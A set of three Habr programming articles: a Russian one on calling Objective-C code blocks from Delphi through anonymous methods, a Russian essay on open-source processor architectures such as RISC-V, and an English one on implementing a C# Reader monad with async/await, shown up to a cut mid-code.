* Было бы здорово сделать мостик между анонимными методами в Delphi и код-блоками, без этого теряется всё удобство и красота. Хочется, чтобы вызов выглядел примерно так:
```
SomeNSClassInstance.SomeMethodWithCallback (
Arg1,
Arg2,
TObjCBlock.CreateBlockWithProcedure(
procedure (p1: NSInteger)
begin
if p1 = 0
then ShowMessage ('Cancel')
else ShowMessage ('OK');
end)
);
```
Начнем с вида коллбеков. Очевидно, что самый простой и самый надежный способ – иметь под каждый тип функции свой коллбек:
```
procedure InvokeCallback1 (aNSBlock: pointer; p1: pointer); cdecl;
procedure InvokeCallback2 (aNSBlock: pointer; p1, p2: pointer); cdecl;
procedure InvokeCallback3 (aNSBlock: pointer; p1, p2, p3: pointer); cdecl;
```
И так далее. Но как-то это нудно и неэлегантно, правда? Поэтому мысль ведет нас дальше. Что, если объявить только один вид коллбека, проидентифицировать блок, который вызвал коллбек, узнать число аргументов и поползти по стеку, читая нужное количество аргументов?
```
procedure InvokeCallback (aNSBlock: pointer); cdecl;
var
i, ArgNum: integer;
p: PByte;
Args: array of pointer;
begin
i:= FindMatchingBlock(aNSBlock);
if i >= 0 then
begin
p:= @aNSBlock;
Inc(p, Sizeof(pointer)); // Прыгаем в начало списка аргументов
ArgNum:= GetArgNum(...);
if ArgNum > 0 then
begin
SetLength(Args, ArgNum);
Move(p^, Args[0], SizeOf(pointer) * ArgNum);
end;
...
end;
```
Хорошая мысль? Нет, плохая. Это будет работать в 32-битном коде, но грохнется к чертовой матери в 64-битном, потому что никакого cdecl в 64-битном коде не бывает, а есть одна общая calling convention, которая, в отличие от cdecl, аргументы передает не в стэке, а в регистрах процессора. Ну что же, тогда поступим еще проще, объявим коллбек так:
```
function InvokeCallback(aNSBlock, p1, p2, p3, p4: pointer): pointer; cdecl;
```
И просто будем читать столько аргументов, сколько нам нужно. В оставшихся аргументах будет мусор, но мы к ним и не будем обращаться. И заодно мы сменили procedure на function, на случай, если code block требует результата. Disclaimer: если вы не уверены в безопасности такого подхода, используйте отдельные коллбеки под каждый тип функции. Мне подход кажется довольно безопасным, но, как говорится, tastes differ.
Что касается идентификации блока, то тут всё оказалось довольно просто: `aNSBlock`, который приходит к нам, как первый аргумент в коллбеке, указывает ровно на тот же `Descriptor`, который мы аллоцировали при создании блока.
Теперь можно заняться анонимными методами разных типов, мы покроем процентов 90 из возможных наборов аргументов, которые встречаются на практике в классах macOS и мы всегда можем расширить список:
```
type
TProc1 = TProc;
TProc2 = TProc;
TProc3 = TProc;
TProc4 = TProc;
TProc5 = TProc;
TProc6 = TProc;
TProc7 = TFunc;
TProcType = (ptNone, pt1, pt2, pt3, pt4, pt5, pt6, pt7);
TObjCBlock = record
private
class function CreateBlockWithCFunc(const aTProc: TProc; const aType: TProcType): pointer; static;
public
class function CreateBlockWithProcedure(const aProc: TProc1): pointer; overload; static;
class function CreateBlockWithProcedure(const aProc: TProc2): pointer; overload; static;
class function CreateBlockWithProcedure(const aProc: TProc3): pointer; overload; static;
class function CreateBlockWithProcedure(const aProc: TProc4): pointer; overload; static;
class function CreateBlockWithProcedure(const aProc: TProc5): pointer; overload; static;
class function CreateBlockWithProcedure(const aProc: TProc6): pointer; overload; static;
class function CreateBlockWithProcedure(const aProc: TProc7): pointer; overload; static;
end;
```
Таким образом, создание блока с процедурой, которая, например, имеет два аргумента размером `SizeOf(pointer)`, будет выглядеть так:
```
class function TObjCBlock.CreateBlockWithProcedure(const aProc: TProc3): pointer;
begin
result:= CreateBlockWithCFunc(TProc(aProc), TProcType.pt3);
end;
```
CreateBlockWithCFunc выглядит так:
```
class function TObjCBlock.CreateBlockWithCFunc(const aTProc: TProc; const aType: TProcType): pointer;
begin
result:= BlockObj.AddNewBlock(aTProc, aType);
end;
```
То есть. мы обращается к BlockObj, singleton-экземпляру класса `TObjCBlockList`, который нужен для управления всем этим хозяйством и недоступен снаружи юнита:
```
TBlockInfo = packed record
BlockStructure: Block_Literal;
LocProc: TProc;
ProcType: TProcType;
end;
PBlockInfo = ^TBlockInfo;
TObjCBlockList = class (TObject)
private
FBlockList: TArray;
procedure ClearAllBlocks;
public
constructor Create;
destructor Destroy; override;
function AddNewBlock(const aTProc: TProc; const aType: TProcType): pointer;
function FindMatchingBlock(const aCurrBlock: pointer): integer;
procedure ClearBlock(const idx: integer);
property BlockList: TArray read FBlockList ;
end;
var
BlockObj: TObjCBlockList;
```
"Сердце" нашего класса бьется тут:
```
function TObjCBlockList.AddNewBlock(const aTProc: TProc; const aType: TProcType): pointer;
var
aDesc: PBlock_Descriptor;
const
BLOCK_HAS_COPY_DISPOSE = 1 shl 25;
begin
// Добавляем в наш массив блоков новый элемент и обнуляем его
SetLength(FBlockList, Length(FBlockList) + 1);
FillChar(FBlockList[High(FBlockList)], SizeOf(TBlockInfo), 0);
// Это я уже объяснял выше
FBlockList[High(FBlockList)].BlockStructure.Isa := NSClassFromString ((StrToNSStr('NSBlock')
as ILocalobject).GetObjectID);
FBlockList[High(FBlockList)].BlockStructure.Invoke := @InvokeCallback;
// Сообщаем системе, что наш блок будет иметь два доп. хелпера,
// для copy и displose. Зачем? Об этом ниже.
FBlockList[High(FBlockList)].BlockStructure.Flags := BLOCK_HAS_COPY_DISPOSE;
// Сохраним тип нашего анонимного метода и ссылку на него:
FBlockList[High(FBlockList)].ProcType := aType;
FBlockList[High(FBlockList)].LocProc := aTProc;
New(aDesc);
aDesc.Reserved := 0;
aDesc.Size := SizeOf(Block_Literal);
// Укажем адреса хелпер-функций:
aDesc.copy_helper := @CopyCallback;
aDesc.dispose_helper := @DisposeCallback;
FBlockList[High(FBlockList)].BlockStructure.Descriptor := aDesc;
result:= @FBlockList[High(FBlockList)].BlockStructure;
end;
```
Ну вот, всё основное мы написали. Остается всего несколько тонких моментов.
Во-первых, нам нужно добавить thread safety, чтобы с экземпляром класса можно было работать из разных нитей. Это довольно просто, и мы добавили соответствующий код.
Во-вторых, нам надо бы узнать, а когда же можно наконец "прибить" созданную нами структуру, т.е. элемент массива `FBlockList`. На первый взгляд кажется, что как только система вызвала коллбек, блок можно удалять: загрузился файл, был вызван completion handler – всё, дело сделано. На самом деле, это не всегда так. Есть блоки, которые вызываются сколько угодно раз; например, в методе [imageWithSize:flipped:drawingHandler:](https://developer.apple.com/reference/appkit/nsimage/1519860-imagewithsize) класса `NSImage` нужно передать указатель на блок, который будет отрисовывать картинку, что, как вы понимаете, может происходить хоть миллион раз. Вот тут-то нам и пригодится `aDesc.dispose_helper := @DisposeCallback`. Вызов процедуры `DisposeCallback` как раз и будет сигнализировать о том, что блок больше не нужен и его можно смело удалять.
### Вишенка на торте
А давайте еще self-test напишем, прямо в том же юните? Вдруг что-то сломается в следующей версии компилятора или при переходе на 64 бита. Как можно протестировать блоки, не обращаясь к Cocoa-классам? Оказывается, для этого есть специальные низкоуровневые функции, которые нам надо для начала задекларировать в Delphi так:
```
function imp_implementationWithBlock(block: id): pointer; cdecl;
external libobjc name _PU + 'imp_implementationWithBlock';
function imp_removeBlock(anImp: pointer): integer; cdecl;
external libobjc name _PU + 'imp_removeBlock';
```
Первая функция возвращает указатель на C-функцию, которая вызывает блок, который мы передали как аргумент. Вторая просто "подчищает" потом память. Отлично, значит нам нужно создать блок с помощью нашего прекрасного класса, передать его в `imp_implementationWithBlock`, вызвать функцию по полученному адресу и с замиранием сердца посмотреть, как отработал блок. Пробуем всё это исполнить. Вариант первый, **наивный**:
```
class procedure TObjCBlock.SelfTest;
var
p: pointer;
test: NativeUint;
func : procedure ( p1, p2, p3, p4: pointer); cdecl;
begin
test:= 0;
p:= TObjCBlock.CreateBlockWithProcedure(
procedure (p1, p2, p3, p4: pointer)
begin
test:= NativeUint(p1) + NativeUint(p2) +
NativeUint(p3) + NativeUint(p4);
end);
@func := imp_implementationWithBlock(p);
func(pointer(1), pointer(2), pointer(3), pointer(4));
imp_removeBlock(@func);
if test <> (1 + 2 + 3 + 4)
then raise Exception.Create('Objective-C code block self-test failed!');
end;
```
Запускаем и… упс. Попадаем в анонимный метод: p1=1, p2=3, p3=4, p4=мусор. What the …? Кто съел двойку? И почему в последнем параметре мусор? Оказывается, дело в том, что `imp_implementationWithBlock` возвращает trampoline, который позволяет вызывать блок как `IMP`. Проблема в том, что `IMP` в Objective-C всегда имеет два обязательных первых аргумента, `(id self, SEL _cmd)`, т.е. указатели на объект и на селектор, а код-блок имеет лишь один обязательный аргумент в начале. Возвращаемый trampoline при вызове редактирует список аргументов: второй аргумент, `_cmd`, выкидывается за ненужностью, на его место пишется первый аргумент, а вот на место первого аргумента подставляется указатель на `NSBlock`.
Да, вот так, trampoline подкрался незаметно. Ладно, вариант второй, **правильный**:
```
class procedure TObjCBlock.SelfTest;
var
p: pointer;
test: NativeUint;
func : procedure ( p1, _cmd, p2, p3, p4: pointer); cdecl;
begin
test:= 0;
p:= TObjCBlock.CreateBlockWithProcedure(
procedure (p1, p2, p3, p4: pointer)
begin
test:= NativeUint(p1) + NativeUint(p2) +
NativeUint(p3) + NativeUint(p4);
end);
@func := imp_implementationWithBlock(p);
// Да, _cmd будет проигнорирован!
func(pointer(1), nil, pointer(2), pointer(3), pointer(4));
imp_removeBlock(@func);
if test <> (1 + 2 + 3 + 4)
then raise Exception.Create('Objective-C code block self-test failed!');
end;
```
Вот теперь всё проходит гладко и можно наслаждаться работой с блоками. Целиком юнит можно скачать [тут](http://www.tamos.com/code/Mac.CodeBlocks.pas) или посмотреть ниже. Комментарии ("ламеры, у вас тут течет память") и предложения по улучшению приветствуются.
**Полный сорс-код**
```
{*******************************************************}
{ }
{ Implementation of Objective-C Code Blocks }
{ }
{ Copyright(c) 2017 TamoSoft Limited }
{ }
{*******************************************************}
{
LICENSE:
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
You may not use the Software in any projects published under viral licenses,
including, but not limited to, GNU GPL.
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE
}
//USAGE EXAMPLE
//
// FSaveFile :=TNSSavePanel.Wrap(TNSSavePanel.OCClass.savePanel);
// NSWin := WindowHandleToPlatform(Screen.ActiveForm.Handle).Wnd;
// objc_msgSendP2(
// (FSaveFile as ILocalObject).GetObjectID,
// sel_getUid(PAnsiChar('beginSheetModalForWindow:completionHandler:')),
// (NSWin as ILocalObject).GetObjectID,
// TObjCBlock.CreateBlockWithProcedure(
// procedure (p1: NSInteger)
// begin
// if p1 = 0
// then ShowMessage ('Cancel')
// else ShowMessage ('OK');
// end)
// );
unit Mac.CodeBlocks;
interface
uses System.SysUtils, Macapi.ObjectiveC, Macapi.Foundation, Macapi.Helpers,
Macapi.ObjCRuntime, Macapi.CocoaTypes;
type
TProc1 = TProc;
TProc2 = TProc;
TProc3 = TProc;
TProc4 = TProc;
TProc5 = TProc;
TProc6 = TProc;
TProc7 = TFunc;
TProcType = (ptNone, pt1, pt2, pt3, pt4, pt5, pt6, pt7);
TObjCBlock = record
private
class procedure SelfTest; static;
class function CreateBlockWithCFunc(const aTProc: TProc; const aType: TProcType): pointer; static;
public
class function CreateBlockWithProcedure(const aProc: TProc1): pointer; overload; static;
class function CreateBlockWithProcedure(const aProc: TProc2): pointer; overload; static;
class function CreateBlockWithProcedure(const aProc: TProc3): pointer; overload; static;
class function CreateBlockWithProcedure(const aProc: TProc4): pointer; overload; static;
class function CreateBlockWithProcedure(const aProc: TProc5): pointer; overload; static;
class function CreateBlockWithProcedure(const aProc: TProc6): pointer; overload; static;
class function CreateBlockWithProcedure(const aProc: TProc7): pointer; overload; static;
end;
implementation
function imp\_implementationWithBlock(block: id): pointer; cdecl;
external libobjc name \_PU + 'imp\_implementationWithBlock';
function imp\_removeBlock(anImp: pointer): integer; cdecl;
external libobjc name \_PU + 'imp\_removeBlock';
type
Block\_Descriptor = packed record
Reserved: NativeUint;
Size: NativeUint;
copy\_helper: pointer;
dispose\_helper: pointer;
end;
PBlock\_Descriptor = ^Block\_Descriptor;
Block\_Literal = packed record
Isa: pointer;
Flags: integer;
Reserved: integer;
Invoke: pointer;
Descriptor: PBlock\_Descriptor;
end;
PBlock\_Literal = ^Block\_Literal;
TBlockInfo = packed record
BlockStructure: Block\_Literal;
LocProc: TProc;
ProcType: TProcType;
end;
PBlockInfo = ^TBlockInfo;
TObjCBlockList = class (TObject)
private
FBlockList: TArray;
procedure ClearAllBlocks;
public
constructor Create;
destructor Destroy; override;
function AddNewBlock(const aTProc: TProc; const aType: TProcType): pointer;
function FindMatchingBlock(const aCurrBlock: pointer): integer;
procedure ClearBlock(const idx: integer);
property BlockList: TArray read FBlockList ;
end;
var
BlockObj: TObjCBlockList;
function InvokeCallback(aNSBlock, p1, p2, p3, p4: pointer): pointer; cdecl;
var
i: integer;
aRect: NSRect;
begin
result:= nil;
if Assigned(BlockObj) then
begin
TMonitor.Enter(BlockObj);
try
i:= BlockObj.FindMatchingBlock(aNSBlock);
if i >= 0 then
begin
case BlockObj.BlockList[i].ProcType of
TProcType.pt1: TProc1(BlockObj.BlockList[i].LocProc)();
TProcType.pt2: TProc2(BlockObj.BlockList[i].LocProc)(p1);
TProcType.pt3: TProc3(BlockObj.BlockList[i].LocProc)(p1, p2);
TProcType.pt4: TProc4(BlockObj.BlockList[i].LocProc)(p1, p2, p3);
TProcType.pt5: TProc5(BlockObj.BlockList[i].LocProc)(p1, p2, p3, p4);
TProcType.pt6: TProc6(BlockObj.BlockList[i].LocProc)(NSinteger(p1));
TProcType.pt7:
begin
aRect.origin.x := CGFloat(p1);
aRect.origin.y := CGFloat(p2);
aRect.size.width := CGFloat(p3);
aRect.size.height:= CGFloat(p4);
result:= pointer(TProc7(BlockObj.BlockList[i].LocProc)(aRect));
end;
end;
end;
finally
TMonitor.Exit(BlockObj);
end;
end;
end;
procedure DisposeCallback(aNSBlock: pointer) cdecl;
var
i: integer;
begin
if Assigned(BlockObj) then
begin
TMonitor.Enter(BlockObj);
try
i:= BlockObj.FindMatchingBlock(aNSBlock);
if i >= 0
then BlockObj.ClearBlock(i);
finally
TMonitor.Exit(BlockObj);
end;
end;
TNSObject.Wrap(aNSBlock).release;
end;
procedure CopyCallback(scr, dst: pointer) cdecl;
begin
//
end;
class function TObjCBlock.CreateBlockWithProcedure(const aProc: TProc1): pointer;
begin
result:= CreateBlockWithCFunc(TProc(aProc), TProcType.pt1);
end;
class function TObjCBlock.CreateBlockWithProcedure(const aProc: TProc2): pointer;
begin
result:= CreateBlockWithCFunc(TProc(aProc), TProcType.pt2);
end;
class function TObjCBlock.CreateBlockWithProcedure(const aProc: TProc3): pointer;
begin
result:= CreateBlockWithCFunc(TProc(aProc), TProcType.pt3);
end;
class function TObjCBlock.CreateBlockWithProcedure(const aProc: TProc4): pointer;
begin
result:= CreateBlockWithCFunc(TProc(aProc), TProcType.pt4);
end;
class function TObjCBlock.CreateBlockWithProcedure(const aProc: TProc5): pointer;
begin
result:= CreateBlockWithCFunc(TProc(aProc), TProcType.pt5);
end;
class function TObjCBlock.CreateBlockWithProcedure(const aProc: TProc6): pointer;
begin
result:= CreateBlockWithCFunc(TProc(aProc), TProcType.pt6);
end;
class function TObjCBlock.CreateBlockWithProcedure(const aProc: TProc7): pointer;
begin
result:= CreateBlockWithCFunc(TProc(aProc), TProcType.pt7);
end;
class function TObjCBlock.CreateBlockWithCFunc(const aTProc: TProc; const aType: TProcType): pointer;
begin
result:= nil;
if Assigned(BlockObj) then
begin
TMonitor.Enter(BlockObj);
try
result:= BlockObj.AddNewBlock(aTProc, aType);
finally
TMonitor.Exit(BlockObj);
end;
end;
end;
class procedure TObjCBlock.SelfTest;
var
p: pointer;
test: NativeUint;
// Yes, \_cmd is ignored!
func : procedure ( p1, \_cmd, p2, p3, p4: pointer); cdecl;
begin
test:= 0;
p:= TObjCBlock.CreateBlockWithProcedure(
procedure (p1, p2, p3, p4: pointer)
begin
test:= NativeUint(p1) + NativeUint(p2) +
NativeUint(p3) + NativeUint(p4);
end);
@func := imp\_implementationWithBlock(p);
// Yes, \_cmd is ignored!
func(pointer(1), nil, pointer(2), pointer(3), pointer(4));
imp\_removeBlock(@func);
if test <> (1 + 2 + 3 + 4)
then raise Exception.Create('Objective-C code block self-test failed!');
end;
{TObjCBlockList}
constructor TObjCBlockList.Create;
begin
inherited;
end;
destructor TObjCBlockList.Destroy;
begin
TMonitor.Enter(Self);
try
ClearAllBlocks;
finally
TMonitor.Exit(Self);
end;
inherited Destroy;
end;
procedure TObjCBlockList.ClearBlock(const idx: integer);
begin
Dispose(FBlockList[idx].BlockStructure.Descriptor);
FBlockList[idx].BlockStructure.isa:= nil;
FBlockList[idx].LocProc:= nil;
Delete(FBlockList, idx, 1);
end;
function TObjCBlockList.AddNewBlock(const aTProc: TProc; const aType: TProcType): pointer;
var
aDesc: PBlock\_Descriptor;
const
BLOCK\_HAS\_COPY\_DISPOSE = 1 shl 25;
begin
SetLength(FBlockList, Length(FBlockList) + 1);
FillChar(FBlockList[High(FBlockList)], SizeOf(TBlockInfo), 0);
FBlockList[High(FBlockList)].BlockStructure.Isa := NSClassFromString ((StrToNSStr('NSBlock') as ILocalobject).GetObjectID);
FBlockList[High(FBlockList)].BlockStructure.Invoke := @InvokeCallback;
FBlockList[High(FBlockList)].BlockStructure.Flags := BLOCK\_HAS\_COPY\_DISPOSE;
FBlockList[High(FBlockList)].ProcType := aType;
FBlockList[High(FBlockList)].LocProc := aTProc;
New(aDesc);
aDesc.Reserved := 0;
aDesc.Size := SizeOf(Block\_Literal);
aDesc.copy\_helper := @CopyCallback;
aDesc.dispose\_helper := @DisposeCallback;
FBlockList[High(FBlockList)].BlockStructure.Descriptor := aDesc;
result:= @FBlockList[High(FBlockList)].BlockStructure;
end;
procedure TObjCBlockList.ClearAllBlocks();
var
i: integer;
begin
for i := High(FBlockList) downto Low(FBlockList) do
ClearBlock(i);
end;
function TObjCBlockList.FindMatchingBlock(const aCurrBlock: pointer): integer;
var
i: integer;
begin
result:= -1;
if aCurrBlock <> nil then
begin
for i:= Low(FBlockList) to High(FBlockList) do
begin
if FBlockList[i].BlockStructure.Descriptor = PBlock\_Literal(aCurrBlock).Descriptor
then Exit(i);
end;
end;
end;
initialization
BlockObj:=TObjCBlockList.Create;
TObjCBlock.SelfTest;
finalization
FreeAndNil(BlockObj);
end.
``` | https://habr.com/ru/post/325204/ | null | ru | null |
# Пришло время для открытых и свободных процессоров?
Раскрытие [уязвимостей Meltdown и Spectre](https://lwn.net/Articles/742702/) снова привлекло внимание к багам на аппаратном уровне. Многое сделано для улучшения (всё ещё слабой) безопасности нашего программного обеспечения, но всё напрасно, если оборудование даёт сбой. Процессоры в наших системах по-прежнему, в основном, проприетарные и уже преподнесли ряд неприятных сюрпризов (например, в движке Intel Management Engine). Поэтому встаёт естественный вопрос о переходе на железо open-source, как мы сделали с нашим программным обеспечением. Такой переход вполне возможен и даёт ряд преимуществ, хотя и не является панацеей.
Учитывая сложность современных процессоров и свирепый рынок, где они продаются, их разработка по принципам open-source может показаться необычной идеей. Но в этой области уже есть серьёзные инициативы; так что идея свободного дизайна CPU — не просто фантазия. Небольшое исследование темы выявляет несколько проектов; хотя дальнейший список явно не полон.
Из чего выбирать
================
Рассмотрим, например, проект [OpenPOWER](https://openpowerfoundation.org/), основанный на архитектуре POWER. Это не полностью свободный проект, в отличие от некоторых других, но это хороший пример совместной разработки процессорной архитектуры. Процессоры на (относительно) открытой архитектуре уже продаются. OpenPOWER ориентируется на серверные CPU; они в ближайшее время вряд ли появятся в вашем компьютере или смартфоне.
Затем, есть [OpenSPARC](http://www.oracle.com/technetwork/systems/opensparc/opensparc-overview-1562924.html), где Sun Microsystems полностью открыла архитектуры процессоров SPARC T1 и T2. Несколько проектов пытались использовать эти архитектуры, но пока неясно, удалось ли кому-нибудь добиться успеха. На данный момент открытой архитектуре SPARC уже десять лет, а будущее SPARC в целом под сомнением. Что-нибудь интересное может получиться, если Oracle решит открыть архитектуры современных процессоров, но ожидать этого события, затаив дыхание — тоже не лучшая идея.
[OpenRISC](https://openrisc.io/) — полностью открытая архитектура процессора для встроенных приложений; у них полностью готов один процессор (OpenRISC 1000). Сделаны несколько коммерческих версий OpenRISC 1000, существуют и эталонные реализации (такие как [mor1kx](https://www.librecores.org/openrisc/mor1kx)). Ядро Linux поддерживает OpenRISC с версии 3.1, которая вышла в 2011 году, а порт на Debian существует с 2014 года. Правда, работа в рамках дистрибутива Debian [прекратилась в 2016-м](https://wiki.debian.org/OpenRISC). Работа над кодом OpenRISC для ядра тоже замедлилась, хотя в 2017 году появилась [поддержка SMP](https://git.kernel.org/linus/8e6d08e0a15e7d4d4b608b56597350d4cdd77710). В целом, OpenRISC как будто потерял бóльшую часть динамики разработки, какая была раньше.
Сейчас максимальная активность вроде бы связана с [архитектурой RISC-V](https://riscv.org/). Этот проект ориентируется, в основном, на архитектуру набора команд (ISA), а не на конкретные реализации, но существуют и примеры дизайна свободного оборудования. Western Digital недавно [анонсировала](https://www.designnews.com/electronics-test/western-digital-transitions-risc-v-open-source-architecture-big-data-iot/96736693957917), что будет использовать процессоры RISC-V в своём оборудовании для хранения данных — это может привести к поставкам RISC-V в миллиардном масштабе. Есть [набор средств разработки](https://www.sifive.com/products/hifive1/) для тех, кто хочет поиграться с этим процессором, и доступны [многие архитектуры ядра](https://riscv.org/risc-v-cores/).
В отличие от OpenRISC, RISC-V нацелен на различные варианты использования. Есть надежда, что простая архитектура RISC позволит относительно легко сделать быстрый процессор. В то же время для низкопроизводительных устройств существует сокращённый формат потока команд, с помощью которого уменьшаются требования к памяти и сокращается энергопотребление. ISA предусматривает расширения для конкретных реализаций, что облегчает эксперименты и добавление техник аппаратного ускорения.
Поддержка RISC-V в Linux появилась совсем недавно; только в версии 4.15 (релиз состоялся 28 января 2018 года). Активность разработчиков кажется весьма бурной, а в соответствующих проектах также есть поддержка необходимых инструментальных средств и библиотеки. Судя по всему, у RISC-V имеется определённая поддержка в коммерческой индустрии — по крайней мере, в организацию RISC-V Foundation вступило [много компаний](https://riscv.org/members-at-a-glance/). В ближайшее время эта архитектура должна продолжать развитие.
Решение аппаратной проблемы?
============================
После появления информации о Meltdown и Spectre, организация RISC-V Foundation опубликовала [пресс-релиз](https://riscv.org/2018/01/more-secure-world-risc-v-isa/), продвигающий свою архитектуру процессоров как более безопасную альтернативу. Процессоры RISC-V действительно не подвержены этим уязвимостям, потому что они добропорядочно не допускают никакого спекулятивного доступа к памяти. Но в пресс-релизе говорится, что преимущества RISC-V распространяются за рамки этих конкретных уязвимостей. Сама открытость модели разработки позволяет быстро внедрять лучшие идеи безопасности от широкого круга разработчиков.
Становится всё более очевидным, что хотя Linux может и выиграл битву на уровне ядра, но есть целый слой проприетарного аппаратного и программного обеспечения, работающего ниже этого уровня — и мы не контролируем его. Поэтому открытая архитектура RISC-V выглядит очень привлекательно. Возможно, со временем мы сможем частично вернуть себе этот контроль. Это кажется желанной мечтой, но для её достижения требуется в первую очередь решить некоторые проблемы.
Первая из них, конечно, в том, что хотя компиляторы можно получить бесплатно, но это невозможно в отношении производственных мощностей, особенно дорогих фабрик по производству высокопроизводительных современных процессоров. Если на уровне производства микросхем прогресс замедлится — а некоторые говорят, что это уже происходит — и услуги по производству станут более доступны для малых заказчиков, то тогда эксперименты с архитектурами процессоров на практике станут доступнее для большего количества заказчиков. Впрочем, это никогда не будет настолько простым и дешёвым, как набрать `make` в консоли.
До тех пор мы останемся зависимыми от других в создании для нас процессоров. Это необязательно плохо; почти все мы точно так же зависим от других в создании для нас программного обеспечения. Но в железе нужно добиваться более высокого уровня доверия. Получение воспроизводимых сборок на уровне программного обеспечения — серьёзная и актуальная задача; на аппаратном уровне она станет ещё сложнее. Но если не добиться некоего способа проверки исходной архитектуры в реальном образце железа, то мы никогда не можем быть уверены, то конкретная микросхема имеет тот дизайн, как нам сказали.
В спецификациях RISC-V ничего не сказано, что конкретные варианты реализаций обязаны публично открывать свою архитектуру. Даже если RISC-V добьётся успеха на рынке, есть высокие шансы, что реальные процессоры не станут поставляться со свободно лицензируемым дизайном. Крупные заказчики (которые строят дата-центры по собственным проектам) могут настоять на получении дизайна микросхем — или просто создать собственный — но у остальных довольно слабая переговорная позиция.
Наконец, даже если мы получим полностью открытые и свободные процессоры, с уязвимостями на этом уровне не будет полностью покончено. У нас есть свободное ядро, но уязвимости в ядре тоже постоянно находят. Открытое железо может придать больше уверенности, что мы сохраним контроль над нашими системами в долговременной перспективе, но это не волшебная палочка для решения всех проблем.
Впрочем, ничего из этого не должно помешать нам добиваться большей открытости и свободы в части аппаратного обеспечения. Когда-то и создание свободной операционной системы казалось непреодолимо сложной задачей, но мы сделали, причём несколько раз. Отход от проприетарного дизайна аппаратного обеспечения может стать одним из лучших шансов сохранить нашу свободу; будет глупо не попытаться сделать это. | https://habr.com/ru/post/347874/ | null | ru | null |
# «Reader» monad through async/await in C#
[In my previous article](https://habr.com/ru/post/458692/) I described how to achieve the "Maybe" monad behavior using **async/await** operators. This time I am going to show how to implement another popular design pattern "Reader Monad" using the same techniques.
That pattern allows implicit passing some context into some function without using function parameters or shared global objects and it can be considered as yet another way to implement dependency injection. For example:
```
class Config { public string Template; }
public static async Task Main()
{
Console.WriteLine(await GreetGuys().Apply(new Config {Template = "Hi, {0}!"}));
//(Hi, John!, Hi, Jose!)
Console.WriteLine(await GreetGuys().Apply(new Config {Template = "¡Hola, {0}!" }));
//(¡Hola, John!, ¡Hola, Jose!)
}
//These functions do not have any link to any instance of the Config class.
public static async Reader<(string gJohn, string gJose)> GreetGuys()
=> (await Greet("John"), await Greet("Jose"));
static async Reader Greet(string name)
=> string.Format(await ExtractTemplate(), name);
static async Reader ExtractTemplate()
=> await Reader.Read(c => c.Template);
```
Classic "Reader"
----------------
First, let's take a look at how the monad can be implemented without **async/await** operators:
```
public class Config { public string Template; }
public static class ClassicReader
{
public static void Main()
{
var greeter = GreetGuys();
Console.WriteLine(greeter.Apply(new Config{Template = "Hello, {0}"}));
//(Hello, John, Hello, Jose)
Console.WriteLine(greeter.Apply(new Config{Template = "¡Hola, {0}!" }));
//(¡Hola, John!, ¡Hola, Jose!)
}
public static Reader<(string gJohn, string gJose), Config> GreetGuys() =>
from toJohn in Greet("John")
from toJose in Greet("Jose")
select (toJohn, toJose);
//Without using the query notation the code would look like this:
//Greet("John")
// .SelectMany(
// toJohn => Greet("Jose"),
// (toJohn, toJose) => (toJohn, toJose))
public static Reader Greet(string name)
=> new Reader(cfg => string.Format(cfg.Template, name));
}
```
*(Reader)*
```
public class Reader
{
private readonly Func \_exec;
public Reader(Func exec) => this.\_exec = exec;
public T Apply(TCtx ctx) => this.\_exec(ctx);
}
public static class Reader
{
public static Reader SelectMany(
this Reader source,
Func> bind,
Func join)
=>
new Reader(ctx =>
{
var inValue = source.Apply(ctx);
var outValue = bind(inValue).Apply(ctx);
return join(inValue, outValue);
});
}
```
The code works but it does not look natural for C# developers. No wonder, because monads came from functional languages where a similar code can be written in a more concise way. However, the classic implementation helps understating the essence of the pattern — instead of immediate execution of some code it is put into a function which will be called when its context is ready.
```
public static Reader Greet(string name)
=> new Reader(cfg => string.Format(cfg.Template, name));
//That is how the code would look like with explicit passing of context:
//public static string Greet(string name, Config cfg)
// => string.Format(cfg.Template, name);
```
**SelectMany** can combine several such functions into a single one, so you can create a sub-routine whose execution will be deferred until its context is applied. On the other hand, that approach resembles writing asynchronous code where program execution is stopped if some async operation is running. When a result of the operation is ready the program execution will continued. An assumption arises that the C# infrastructure designed to work with asynchronous operations (***async/await***) could be somehow utilized in implementation of "Reader" monad and… the assumption is correct!
Async "Reader"
--------------
[In my previous article](https://habr.com/ru/post/458692/) I demonstrated how to get control over **async/await** operators using **Generalized async return types**. The same technique will be used this time. Let's start with "Reader" class which will be used as a result type of asynchronous operations:
```
[AsyncMethodBuilder(typeof(ReaderTaskMethodBuilder<>))]
public class Reader : INotifyCompletion, IReader
{
...
```
The class has two different responsibilities (theoretically we could create 2 classes):
1. Extracting some value form a context when the context is applied
2. Creation of a linked list of **Reader** instances which will be used to distribute a context over a call hierarchy.
For each responsibility we will use a separate constructor:
```
private readonly Func \_extractor;
//1. Used to extract some value from a context
public static Reader Read(Func extractor)
=> new Reader(ctx => extractor((TCtx)ctx));
private Reader(Func exec) => this.\_extractor = exec;
//2. Used by ReaderTaskMethodBuilder in a compiler generated code
internal Reader() { }
```
When an instance of the **Reader** class is used as an argument of **await** operator the instance will receive a link to a continuation delegate which should be called only when an execution context is resolved and we can extract (from the context) some data which will be used in the continuation.
To create connections between parent and child "readers" let's create the method:
```
private IReader _child;
internal void SetChild(IReader reader)
{
this._child = reader;
if (this._ctx != null)
{
this._child.SetCtx(this._ctx);
}
}
```
which will be called inside **ReaderTaskMethodBuilder**:
```
public class ReaderTaskMethodBuilder
{
...
public void GenericAwaitOnCompleted(
ref TAwaiter awaiter,
ref TStateMachine stateMachine)
where TAwaiter : INotifyCompletion
where TStateMachine : IAsyncStateMachine
{
if (awaiter is IReader reader)
{
